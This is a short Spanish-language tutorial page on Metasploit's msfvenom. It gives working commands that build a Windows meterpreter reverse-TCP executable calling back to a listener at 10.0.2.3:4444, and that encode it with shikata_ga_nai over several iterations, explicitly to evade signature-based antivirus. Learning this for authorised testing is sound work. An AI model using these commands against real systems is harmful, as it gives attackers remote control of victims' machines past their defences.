> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/metasploit-framework/msfvenom.md).

# MSFVENOM

Herramienta para generar y codificar payloads, compatibles o no con MSF.

Union de 2 herramientas que ya no se usan: MSFPayload + MSFEncode.

***

## Generando payload

```bash
msfvemon -p [payload] (opciones) -f [format] -o [archivo_de_salida]
```

```
-p [payload] = ruta completa del payload
[opciones] = configuraciones del payload
-f [format] = formato del payload
-o [archivo_de_salida] = indicar el nombre del fichero de salida
```

Payload meterpreter con una conexión reversa por TCP compatible con Windows donde la dirección IP y el puerto por el que nos pondremos a la escucha para recibir la reverse shell es nuestra dirección IP y el puerto 4444 respectivamente, y el formato del payload es un .exe.

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.3 LPORT=4444 -f exe -o payload.exe
```

CODIFICAR PAYLOAD

```
-e [encoder] = encoder a usar
-i [numero_de_iteraciones] = el número de veces que se va a aplicar el codificador al
payload. Entre más veces se codifica el payload aumenta la posibilidad de no ser detectados
por un antivirus con detección basado en firmas.
Con cada iteración cambia la estructura del payload y por lo tanto, su firma.
Codificar no altera la funcionalidad del payload. Altera la estructura interna.
```

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.3 LPORT=4444 -e x86/shikata_ga_nai -i 11 -f exe -o payload-encoded.exe
```
